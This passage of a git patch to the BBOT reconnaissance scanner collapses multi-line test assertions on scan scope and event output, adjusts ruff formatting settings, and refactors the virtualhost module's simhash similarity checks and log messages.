"http://127.0.0.111:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"] - ) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) - assert 0 == len( - [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"] - ) - assert 1 == len( - [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"] - ) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.222:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "URL" - and e.url == "http://127.0.0.33:8889/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) - assert 0 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"] - ) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) # sslcert with in-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "127.0.0.0/31", - modules=["sslcert"], - _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, - _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, + "127.0.0.0/31", modules=["sslcert"], _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}} ) # sslcert now watches HTTP_RESPONSE, which auto-enables the http module. # This adds HTTP_RESPONSE, URL (from http), and URL_UNVERIFIED (from speculate) events. assert len(events) == 10 - assert 1 == len( - [ - e - for e in events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) @@ -2665,322 +682,70 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in events if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" - and e.data == "test.notreal" - and e.internal is False - and e.scope_distance == 0 - and str(e.module) == "sslcert" - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" - and e.data == "www.bbottest.notreal" - and e.internal is False - and e.scope_distance == 1 - and str(e.module) == "sslcert" - and "affiliate" in e.tags - ] - ) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert" and "affiliate" in e.tags]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) assert 0 == len([e for e in events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "notreal"]) assert len(all_events) == 16 - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:9999" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:9999" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in all_events if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" - and e.data == "test.notreal" - and e.internal is False - and e.scope_distance == 0 - and str(e.module) == "sslcert" - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" - and e.data == "www.bbottest.notreal" - and e.internal is False - and e.scope_distance == 1 - and str(e.module) == "sslcert" - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "www.bbottest.notreal:9999" - and e.internal is True - and e.scope_distance == 1 - and str(e.module) == "speculate" - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME_UNRESOLVED" - and e.data == "bbottest.notreal" - and e.internal is True - and e.scope_distance == 2 - and str(e.module) == "speculate" - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "test.notreal:9999" - and e.internal is True - and e.scope_distance == 0 - and str(e.module) == "speculate" - ] - ) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) assert len(all_events_nodups) == 14 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:9999" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:9999" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in all_events_nodups if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" - and e.data == "test.notreal" - and e.internal is False - and e.scope_distance == 0 - and str(e.module) == "sslcert" - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" - and e.data == "www.bbottest.notreal" - and e.internal is False - and e.scope_distance == 1 - and str(e.module) == "sslcert" - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "www.bbottest.notreal:9999" - and e.internal is True - and e.scope_distance == 1 - and str(e.module) == "speculate" - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME_UNRESOLVED" - and e.data == "bbottest.notreal" - and e.internal is True - and e.scope_distance == 2 - and str(e.module) == "speculate" - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "test.notreal:9999" - and e.internal is True - and e.scope_distance == 0 - and str(e.module) == "speculate" - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 10 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:9999" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in _graph_output_events if e.type == "URL" and str(e.module) == "http"]) - assert 1 == len( - [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "test.notreal" - and e.internal is False - and e.scope_distance == 0 - and str(e.module) == "sslcert" - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "www.bbottest.notreal" - and e.internal is False - and e.scope_distance == 1 - and str(e.module) == "sslcert" - ] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal"] - ) - assert 0 == len( - [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) # sslcert with out-of-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.1.0", seeds=["127.0.0.0/31"], modules=["sslcert"], - _config={ - "scope": {"search_distance": 1, "report_distance": 0}, - "speculate": True, - "modules": {"speculate": {"ports": "9999"}}, - }, + _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}}, ) # sslcert now depends on http (via HTTP_RESPONSE), and http doesn't probe out-of-scope # servers, so the entire sslcert chain doesn't fire in this scenario. assert len(events) == 3 - assert 1 == len( - [ - e - for e in events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) @@ -2990,134 +755,40 @@ def custom_setup(scan): assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) assert len(all_events) == 6 - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:9999" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:9999" - and e.internal is True - and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 2]) assert len(all_events_nodups) == 6 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:9999" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:9999" - and e.internal is True - and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 2]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 3 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal"]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"]) - assert 0 == len( - [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"] - ) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) @pytest.mark.asyncio async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): - bbot_httpserver.expect_request(uri="/").respond_with_data( - response_data="" - ) + bbot_httpserver.expect_request(uri="/").respond_with_data(response_data="") # dns search distance = 1, report distance = 0 - scan = bbot_scanner( - "127.0.0.0/29", - "test.notreal", - seeds=["http://127.0.0.1:8888"], - modules=["http"], - config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, - blacklist=["127.0.0.64/29"], - ) + scan = bbot_scanner("127.0.0.0/29", "test.notreal", seeds=["http://127.0.0.1:8888"], modules=["http"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"]) await scan._prep() - await scan.helpers.dns._mock_dns( - { - "www-prod.test.notreal": {"A": ["127.0.0.66"]}, - "www-dev.test.notreal": {"A": ["127.0.0.22"]}, - } - ) + await scan.helpers.dns._mock_dns({"www-prod.test.notreal": {"A": ["127.0.0.66"]}, "www-dev.test.notreal": {"A": ["127.0.0.22"]}}) events = [e async for e in scan.async_start()] @@ -3125,10 +796,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): # the hostname is in-scope, but its IP is blacklisted, therefore we shouldn't see it assert not any(e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://www-prod.test.notreal:8888/") - assert ( - 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text - and "because it has a blacklisted DNS record" in caplog.text - ) + assert 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text and "because it has a blacklisted DNS record" in caplog.text @pytest.mark.asyncio @@ -3167,13 +835,9 @@ async def test_scope_accuracy_with_special_urls(bbot_scanner, bbot_httpserver): was causing special URLs to be rejected by critical internal modules like `_scan_egress`, leading to the output of unwanted URLs. """ bbot_httpserver.expect_request(uri="/v2/users/spacex").respond_with_data(response_data="") - bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data( - response_data="" - ) + bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data(response_data="") - scan = bbot_scanner( - "ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True} - ) + scan = bbot_scanner("ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True}) await scan._prep() scan.modules["dockerhub"].site_url = "http://127.0.0.1:8888" @@ -3199,9 +863,7 @@ async def handle_event(self, event): # there are actually 2 URL events. They are both from the same URL, but one was extracted by the full URL regex, and the other by the src/href= regex. # however, they should be deduped by scan_ingress. - bad_url_events = [ - e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js" - ] + bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js"] assert len(bad_url_events) == 1 # they should both be internal assert all(e.internal is True for e in bad_url_events) diff --git a/pyproject.toml b/pyproject.toml index f989ee8149..fc506c8cfd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -125,6 +125,9 @@ skip = "./docs/javascripts/vega*.js,./bbot/wordlists/*" [tool.ruff] line-length = 119 +# force-exclude makes the format.exclude below apply even when the file is passed explicitly to ruff. +# Without this, `ruff format path/to/test_manager_*.py` will reformat anyway and re-expand the file. +force-exclude = true format.exclude = ["bbot/test/test_step_1/test_manager_*"] lint.select = ["E", "F"] lint.ignore = ["E402", "E711", "E713", "E721", "E741", "F403", "F405", "E501"] From ff2db125fbe377a5e0871145814716b9d3a46d4a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 3 May 2026 10:41:13 -0400 Subject: [PATCH 588/912] virtualhost: run simhash in CPU thread pool, drop stale CurlError refs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Move compute_simhash off the process pool (run_in_executor_mp) onto the CPU thread pool (run_in_executor_cpu) via a new _response_similarity helper. Simhash work is short and inputs are truncated to ~3KB inside compute_simhash, so pickle/IPC overhead and broken-pool risk outweigh any parallelism win — and the recent 300s timeout on run_in_executor_mp was orphaning _test_virtualhost tasks with uncaught TimeoutError. Also remove stale 'CurlError'/'curl error' debug strings left over from the curl-helper removal. --- bbot/modules/virtualhost.py | 51 ++++++++++++++++++++----------------- 1 file changed, 28 insertions(+), 23 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index a0ed4eb7b6..9ff3981320 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -66,6 +66,20 @@ async def setup(self): return True + async def _response_similarity(self, text_a, text_b, normalization_filter=None): + """ + Compute simhash similarity between two response bodies. + Runs in the CPU thread pool: simhash work is short and the input is + truncated to ~3KB inside compute_simhash, so the process-pool overhead + (pickle + IPC + worker lifecycle) costs more than the work itself. + """ + kwargs = {} + if normalization_filter is not None: + kwargs["normalization_filter"] = normalization_filter + hash_a = await self.helpers.run_in_executor_cpu(compute_simhash, text_a, **kwargs) + hash_b = await self.helpers.run_in_executor_cpu(compute_simhash, text_b, **kwargs) + return self.helpers.simhash.similarity(hash_a, hash_b) + def _get_basehost(self, event): """Get the basehost and subdomain from the event""" basehost = self.helpers.parent_domain(event.parsed_url.hostname) @@ -421,9 +435,7 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, ) return True - probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response.text or "") - wildcard_simhash = await self.helpers.run_in_executor_mp(compute_simhash, wildcard_canary_response.text or "") - similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) + similarity = await self._response_similarity(probe_response.text or "", wildcard_canary_response.text or "") # Compare original probe response with modified response @@ -617,9 +629,9 @@ async def curl_virtualhost( result = await completed except Exception as e: if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): - self.debug(f"CurlError during shutdown (suppressed): {e}") + self.debug(f"Exception during shutdown (suppressed): {e}") break - self.debug(f"CurlError in virtualhost test (skipping this test): {e}") + self.debug(f"Exception in virtualhost test (skipping this test): {e}") continue if result: # Only append non-None results virtual_host_results.append(result) @@ -636,9 +648,9 @@ async def curl_virtualhost( except Exception as e: if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): - self.debug(f"CurlError in as_completed during shutdown (suppressed): {e}") + self.debug(f"Exception in as_completed during shutdown (suppressed): {e}") return [] - self.warning(f"CurlError in as_completed, stopping all tests: {e}") + self.warning(f"Exception in as_completed, stopping all tests: {e}") return [] # Return results for emission at _run_virtualhost_phase level @@ -800,14 +812,11 @@ async def analyze_response(self, probe_host, probe_response, canary_response, ev # Calculate content similarity to canary (junk response) # Use probe hostname for normalization to remove hostname reflection differences - probe_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, probe_response.text or "", normalization_filter=probe_host + similarity = await self._response_similarity( + probe_response.text or "", + canary_response.text or "", + normalization_filter=probe_host, ) - canary_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, canary_response.text or "", normalization_filter=probe_host - ) - - similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) if similarity <= self.SIMILARITY_THRESHOLD: self.verbose( @@ -824,7 +833,7 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b probe_url, basehost, host_ip, is_https, mode="random_append" ) except Exception as e: - self.warning(f"Canary verification failed due to curl error: {e}") + self.warning(f"Canary verification failed: {e}") return False if not keyword_canary_response: @@ -837,9 +846,7 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b ) return False - original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_response.text or "") - keyword_simhash = await self.helpers.run_in_executor_mp(compute_simhash, keyword_canary_response.text or "") - similarity = self.helpers.simhash.similarity(original_simhash, 